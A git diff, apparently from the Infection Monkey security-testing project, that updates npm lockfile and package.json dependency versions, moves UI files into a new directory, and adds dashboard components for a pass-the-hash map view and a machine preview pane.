"resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz", @@ -17456,19 +17463,10 @@ "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", "dev": true }, - "rxjs": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.2.2.tgz", - "integrity": "sha512-0MI8+mkKAXZUF9vMrEoPnaoHkfzBPP4IGwUYRJhIRJF6/w3uByO1e91bEHn8zd43RdkTMKiooYKmwz7RH6zfOQ==", - "dev": true, - "requires": { - "tslib": "1.9.3" - } - }, "semver": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz", - "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==", + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz", + "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==", "dev": true }, "strip-ansi": { @@ -17481,25 +17479,25 @@ } }, "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { "has-flag": "3.0.0" } }, "yargs": { - "version": "12.0.1", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.1.tgz", - "integrity": "sha512-B0vRAp1hRX4jgIOWFtjfNjd9OA9RWYZ6tqGA9/I/IrTMsxmKvtWy+ersM+jzpQqbC3YfLzeABPdeTgcJ9eu1qQ==", + "version": "12.0.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.2.tgz", + "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==", "dev": true, "requires": { "cliui": "4.1.0", "decamelize": "2.0.0", "find-up": "3.0.0", "get-caller-file": "1.0.3", - "os-locale": "2.1.0", + "os-locale": "3.0.1", "require-directory": "2.1.1", "require-main-filename": "1.0.1", "set-blocking": "2.0.0", @@ -17522,7 +17520,7 @@ }, "webpack-dev-middleware": { "version": "2.0.6", - "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-2.0.6.tgz", + "resolved": "http://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-2.0.6.tgz", "integrity": "sha512-tj5LLD9r4tDuRIDa5Mu9lnY2qBBehAITv6A9irqXhw/HQquZgTx3BCd57zYbU2gMDnncA49ufK2qVQSbaKJwOw==", "dev": true, "requires": { @@ -17536,39 +17534,39 @@ } }, "webpack-dev-server": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.1.5.tgz", - "integrity": "sha512-LVHg+EPwZLHIlfvokSTgtJqO/vI5CQi89fASb5JEDtVMDjY0yuIEqPPdMiKaBJIB/Ab7v/UN/sYZ7WsZvntQKw==", + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.1.9.tgz", + "integrity": "sha512-fqPkuNalLuc/hRC2QMkVYJkgNmRvxZQo7ykA2e1XRg/tMJm3qY7ZaD6d89/Fqjxtj9bOrn5wZzLD2n84lJdvWg==", "dev": true, "requires": { "ansi-html": "0.0.7", - "array-includes": "3.0.3", "bonjour": "3.5.0", "chokidar": "2.0.4", "compression": "1.7.3", "connect-history-api-fallback": "1.5.0", - "debug": "3.1.0", + "debug": "3.2.6", "del": "3.0.0", "express": "4.16.3", "html-entities": "1.2.1", "http-proxy-middleware": "0.18.0", - "import-local": "1.0.0", - "internal-ip": "1.2.0", + "import-local": "2.0.0", + "internal-ip": "3.0.1", "ip": "1.1.5", - "killable": "1.0.0", + "killable": "1.0.1", "loglevel": "1.6.1", - "opn": "5.3.0", - "portfinder": "1.0.16", - "selfsigned": "1.10.3", + "opn": "5.4.0", + "portfinder": "1.0.17", + "schema-utils": "1.0.0", + "selfsigned": "1.10.4", "serve-index": "1.9.1", "sockjs": "0.3.19", "sockjs-client": "1.1.5", "spdy": "3.4.7", "strip-ansi": "3.0.1", - "supports-color": "5.4.0", - "webpack-dev-middleware": "3.1.3", - "webpack-log": "1.2.0", - "yargs": "11.0.0" + "supports-color": "5.5.0", + "webpack-dev-middleware": "3.4.0", + "webpack-log": "2.0.0", + "yargs": "12.0.2" }, "dependencies": { "ansi-regex": { @@ -17628,6 +17626,12 @@ } } }, + "camelcase": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", + "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "dev": true + }, "chokidar": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", @@ -17671,13 +17675,43 @@ } } }, - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "ms": "2.0.0" + "nice-try": "1.0.5", + "path-key": "2.0.1", + "semver": "5.5.1", + "shebang-command": "1.2.0", + "which": "1.3.0" + } + }, + "debug": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "dev": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "dev": true + } + } + }, + "decamelize": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-2.0.0.tgz", + "integrity": "sha512-Ikpp5scV3MSYxY39ymh45ZLEecsTdv/Xj2CaQfI8RLMuwi7XvjX9H/fhraiSuU+C5w5NTDu4ZU72xNiZnurBPg==", + "dev": true, + "requires": { + "xregexp": "4.0.0" } }, "del": { @@ -17694,6 +17728,21 @@ "rimraf": "2.6.2" } }, + "execa": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz", + "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", + "dev": true, + "requires": { + "cross-spawn": "6.0.5", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + } + }, "expand-brackets": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", @@ -17855,12 +17904,12 @@ } }, "find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "2.0.0" + "locate-path": "3.0.0" } }, "fsevents": { @@ -17870,7 +17919,7 @@ "dev": true, "optional": true, "requires": { - "nan": "2.10.0", + "nan": "2.11.1", "node-pre-gyp": "0.10.0" }, "dependencies": { @@ -17904,14 +17953,12 @@ "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -17931,8 +17978,7 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", @@ -18423,7 +18469,7 @@ "dev": true, "requires": { "array-union": "1.0.2", - "glob": "7.1.2", + "glob": "7.1.3", "object-assign": "4.1.1", "pify": "2.3.0", "pinkie-promise": "2.0.1" @@ -18443,6 +18489,12 @@ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, + "invert-kv": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz", + "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==", + "dev": true + }, "is-accessor-descriptor": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", @@ -18519,6 +18571,36 @@ "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", "dev": true }, + "lcid": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz", + "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", + "dev": true, + "requires": { + "invert-kv": "2.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "3.0.0", + "path-exists": "3.0.0" + } + }, + "mem": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mem/-/mem-4.0.0.tgz", + "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==", + "dev": true, + "requires": { + "map-age-cleaner": "0.1.2", + "mimic-fn": "1.2.0", + "p-is-promise": "1.1.0" + } + }, "micromatch": { "version": "3.1.10", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", @@ -18541,66 +18623,140 @@ } }, "nan": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.10.0.tgz", - "integrity": "sha512-bAdJv7fBLhWC+/Bls0Oza+mvTaNQtP+1RyhhhvD95pgUJz6XM5IzgmxOkItJ9tkoCiplvAnXI1tNmmUD/eScyA==", + "version": "2.11.1", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz", + "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==", "dev": true, "optional": true }, + "os-locale": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.0.1.tgz", + "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==", + "dev": true, + "requires": { + "execa": "0.10.0", + "lcid": "2.0.0", + "mem": "4.0.0" + } + }, + "p-limit": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz", + "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", + "dev": true, + "requires": { + "p-try": "2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "2.0.0" + } + }, + "p-try": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz", + "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==", + "dev": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + }, "pify": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", "dev": true }, + "schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "requires": { + "ajv": "6.5.2", + "ajv-errors": "1.0.0", + "ajv-keywords": "3.2.0" + } + }, + "semver": { + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz", + "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==", + "dev": true + }, "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { "has-flag": "3.0.0" } }, - "url-join": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.0.tgz", - "integrity": "sha1-TTNA6AfTdzvamZH4MFrNzCpmXSo=", + "uuid": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", + "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==", "dev": true }, "webpack-dev-middleware": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.1.3.tgz", - "integrity": "sha512-I6Mmy/QjWU/kXwCSFGaiOoL5YEQIVmbb0o45xMoCyQAg/mClqZVTcsX327sPfekDyJWpCxb+04whNyLOIxpJdQ==", + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.4.0.tgz", + "integrity": "sha512-Q9Iyc0X9dP9bAsYskAVJ/hmIZZQwf/3Sy4xCAZgL5cUkjZmUZLt4l5HpbST/Pdgjn3u6pE7u5OdGd1apgzRujA==", "dev": true, "requires": { - "loud-rejection": "1.6.0", "memory-fs": "0.4.1", "mime": "2.3.1", - "path-is-absolute": "1.0.1", "range-parser": "1.2.0", - "url-join": "4.0.0", - "webpack-log": "1.2.0" + "webpack-log": "2.0.0" + } + }, + "webpack-log": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/webpack-log/-/webpack-log-2.0.0.tgz", + "integrity": "sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==", + "dev": true, + "requires": { + "ansi-colors": "3.1.0", + "uuid": "3.3.2" } }, "yargs": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.0.0.tgz", - "integrity": "sha512-Rjp+lMYQOWtgqojx1dEWorjCofi1YN7AoFvYV7b1gx/7dAAeuI4kN5SZiEvr0ZmsZTOpDRcCqrpI10L31tFkBw==", + "version": "12.0.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.2.tgz", + "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==", "dev": true, "requires": { "cliui": "4.1.0", - "decamelize": "1.2.0", - "find-up": "2.1.0", + "decamelize": "2.0.0", + "find-up": "3.0.0", "get-caller-file": "1.0.3", - "os-locale": "2.1.0", + "os-locale": "3.0.1", "require-directory": "2.1.1", "require-main-filename": "1.0.1", "set-blocking": "2.0.0", "string-width": "2.1.1", "which-module": "2.0.0", "y18n": "3.2.1", - "yargs-parser": "9.0.2" + "yargs-parser": "10.1.0" + } + }, + "yargs-parser": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-10.1.0.tgz", + "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==", + "dev": true, + "requires": { + "camelcase": "4.1.0" } } } @@ -18634,7 +18790,7 @@ "requires": { "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" + "supports-color": "5.5.0" } }, "has-flag": { @@ -18644,9 +18800,9 @@ "dev": true }, "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { "has-flag": "3.0.0" @@ -18655,9 +18811,9 @@ } }, "webpack-sources": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.1.0.tgz", - "integrity": "sha512-aqYp18kPphgoO5c/+NaUvEeACtZjMESmDChuD3NBciVpah3XpMEU9VAAtIaB1BsfJWWTSdv8Vv1m3T0aRk2dUw==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.3.0.tgz", + "integrity": "sha512-OiVgSrbGu7NEnEvQJJgdSFPl2qWKkWq5lHMhgiToIiN9w34EBnjYzSYs+VbL5KoYiLNtFFa7BZIKxRED3I32pA==", "dev": true, "requires": { "source-list-map": "2.0.0", @@ -18688,15 +18844,10 @@ "integrity": "sha512-nqHUnMXmBzT0w570r2JpJxfiSD1IzoI+HGVdd3aZ0yNi3ngvQ4jv1dtHt5VGxfI2yj5yqImPhOK4vmIh2xMbGg==", "dev": true }, - "whatwg-fetch": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz", - "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==" - }, "which": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", - "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", + "integrity": "sha512-xcJpopdamTuY5duC/KnTTNBraPK54YwpenP4lzxU8H91GudWpFv38u0CKjclE1Wi2EH2EDz5LRcHcKbCIzqGyg==", "dev": true, "requires": { "isexe": "2.0.0" @@ -18732,7 +18883,7 @@ }, "wrap-ansi": { "version": "2.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", + "resolved": "http://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", "dev": true, "requires": { diff --git a/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json similarity index 82% rename from monkey_island/cc/ui/package.json rename to monkey/monkey_island/cc/ui/package.json index 9e1e85f2d..00aa12ade 100644 --- a/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -31,14 +31,14 @@ "babel-preset-react": "^6.24.1", "babel-preset-stage-0": "^6.5.0", "bower-webpack-plugin": "^0.1.9", - "chai": "^4.1.2", - "copyfiles": "^2.0.0", + "chai": "^4.2.0", + "copyfiles": "^2.1.0", "css-loader": "^1.0.0", - "eslint": "^5.3.0", - "eslint-loader": "^2.1.0", + "eslint": "^5.6.1", + "eslint-loader": "^2.1.1", "eslint-plugin-react": "^7.11.1", "file-loader": "^1.1.11", - "glob": "^7.0.0", + "glob": "^7.1.3", "html-loader": "^0.5.5", "html-webpack-plugin": "^3.2.0", "karma": "^3.0.0", @@ -48,44 +48,44 @@ "karma-mocha-reporter": "^2.2.5", "karma-phantomjs-launcher": "^1.0.0", "karma-sourcemap-loader": "^0.3.5", - "karma-webpack": "^3.0.0", + "karma-webpack": "^3.0.5", "minimist": "^1.2.0", "mocha": "^5.2.0", "null-loader": "^0.1.1", "open": "0.0.5", "phantomjs-prebuilt": "^2.1.16", "react-addons-test-utils": "^15.6.2", - "react-hot-loader": "^4.3.4", + "react-hot-loader": "^4.3.11", "rimraf": "^2.6.2", "style-loader": "^0.22.1", - "url-loader": "^1.1.0", - "webpack": "^4.16.5", - "webpack-cli": "^3.1.0", - "webpack-dev-server": "^3.1.5" + "url-loader": "^1.1.2", + "webpack": "^4.20.2", + "webpack-cli": "^3.1.2", + "webpack-dev-server": "^3.1.9" }, "dependencies": { "bootstrap": "3.3.7", "core-js": "^2.5.7", "downloadjs": "^1.4.7", "fetch": "^1.1.0", - "js-file-download": "^0.4.1", + "js-file-download": "^0.4.4", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", "moment": "^2.22.2", "normalize.css": "^8.0.0", - "npm": "^6.3.0", + "npm": "^6.4.1", "prop-types": "^15.6.2", - "rc-progress": "^2.2.5", - "react": "^16.4.2", - "react-bootstrap": "^0.32.1", + "rc-progress": "^2.2.6", + "react": "^16.5.2", + "react-bootstrap": "^0.32.4", "react-copy-to-clipboard": "^5.0.1", "react-data-components": "^1.2.0", "react-dimensions": "^1.3.0", - "react-dom": "^16.4.2", + "react-dom": "^16.5.2", "react-fa": "^5.0.0", "react-graph-vis": "^1.0.2", "react-json-tree": "^0.11.0", - "react-jsonschema-form": "^1.0.4", + "react-jsonschema-form": "^1.0.5", "react-redux": "^5.0.7", "react-router-dom": "^4.3.1", "react-table": "^6.8.6", diff --git a/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js similarity index 100% rename from monkey_island/cc/ui/server.js rename to monkey/monkey_island/cc/ui/server.js diff --git a/monkey_island/cc/ui/src/components/AuthComponent.js b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js similarity index 100% rename from monkey_island/cc/ui/src/components/AuthComponent.js rename to monkey/monkey_island/cc/ui/src/components/AuthComponent.js diff --git a/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js similarity index 98% rename from monkey_island/cc/ui/src/components/Main.js rename to monkey/monkey_island/cc/ui/src/components/Main.js index 586dd5fdf..114775756 100644 --- a/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -7,6 +7,7 @@ import RunServerPage from 'components/pages/RunServerPage'; import ConfigurePage from 'components/pages/ConfigurePage'; import RunMonkeyPage from 'components/pages/RunMonkeyPage'; import MapPage from 'components/pages/MapPage'; +import PassTheHashMapPage from 'components/pages/PassTheHashMapPage'; import TelemetryPage from 'components/pages/TelemetryPage'; import StartOverPage from 'components/pages/StartOverPage'; import ReportPage from 'components/pages/ReportPage'; @@ -75,7 +76,7 @@ class AppComponent extends AuthComponent { componentDidMount() { this.updateStatus(); - this.interval = setInterval(this.updateStatus, 2000); + this.interval = setInterval(this.updateStatus, 5000); } componentWillUnmount() { diff --git a/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js similarity index 55% rename from monkey_island/cc/ui/src/components/map/MapOptions.js rename to monkey/monkey_island/cc/ui/src/components/map/MapOptions.js index 1ed40cd34..7e4805797 100644 --- a/monkey_island/cc/ui/src/components/map/MapOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js @@ -1,4 +1,4 @@ -let groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island', +const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island', 'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running', 'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux', 'monkey_linux_running', 'monkey_windows', 'monkey_windows_running']; @@ -17,7 +17,22 @@ let getGroupsOptions = () => { return groupOptions; }; -export const options = { +const groupNamesPth = ['normal', 'critical']; + +let getGroupsOptionsPth = () => { + let groupOptions = {}; + for (let groupName of groupNamesPth) { + groupOptions[groupName] = + { + shape: 'image', + size: 50, + image: require('../../images/nodes/pth/' + groupName + '.png') + }; + } + return groupOptions; +}; + +export const basic_options = { autoResize: true, layout: { improvedLayout: false @@ -34,10 +49,22 @@ export const options = { avoidOverlap: 0.5 }, minVelocity: 0.75 - }, - groups: getGroupsOptions() + } }; +export const options = (() => { + let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ + opts.groups = getGroupsOptions(); + return opts; +})(); + +export const optionsPth = (() => { + let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ + opts.groups = getGroupsOptionsPth(); + opts.physics.barnesHut.gravitationalConstant = -20000; + return opts; +})(); + export function edgeGroupToColor(group) { switch (group) { case 'exploited': diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js new file mode 100644 index 000000000..e06043c20 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js @@ -0,0 +1,247 @@ +import React from 'react'; +import {Icon} from 'react-fa'; +import Toggle from 'react-toggle'; +import {OverlayTrigger, Tooltip} from 'react-bootstrap'; +import download from 'downloadjs' +import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; + +class InfMapPreviewPaneComponent extends PreviewPaneComponent { + + osRow(asset) { + return ( + + Operating System + {asset.os.charAt(0).toUpperCase() + asset.os.slice(1)} + + ); + } + + ipsRow(asset) { + return ( + + IP Addresses + {asset.ip_addresses.map(val =>
{val}
)} + + ); + } + + servicesRow(asset) { + return ( + + Services + {asset.services.map(val =>
{val}
)} + + ); + } + + accessibleRow(asset) { + return ( + + + Accessible From  + {this.generateToolTip('List of machine which can access this one using a network protocol')} + + {asset.accessible_from_nodes.map(val =>
{val}
)} + + ); + } + + statusRow(asset) { + return ( + + Status + {(asset.dead) ? 'Dead' : 'Alive'} + + ); + } + + forceKill(event, asset) { + let newConfig = asset.config; + newConfig['alive'] = !event.target.checked; + this.authFetch('/api/monkey/' + asset.guid, + { + method: 'PATCH', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({config: newConfig}) + }); + } + + forceKillRow(asset) { + return ( + + + Force Kill  + {this.generateToolTip('If this is on, monkey will die next time it communicates')} + + + this.forceKill(e, asset)}/> + + + + ); + } + + unescapeLog(st) { + return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. + .replace(/\\n/g, "\n") + .replace(/\\r/g, "\r") + .replace(/\\t/g, "\t") + .replace(/\\b/g, "\b") + .replace(/\\f/g, "\f") + .replace(/\\"/g, '\"') + .replace(/\\'/g, "\'") + .replace(/\\&/g, "\&"); + } + + downloadLog(asset) { + 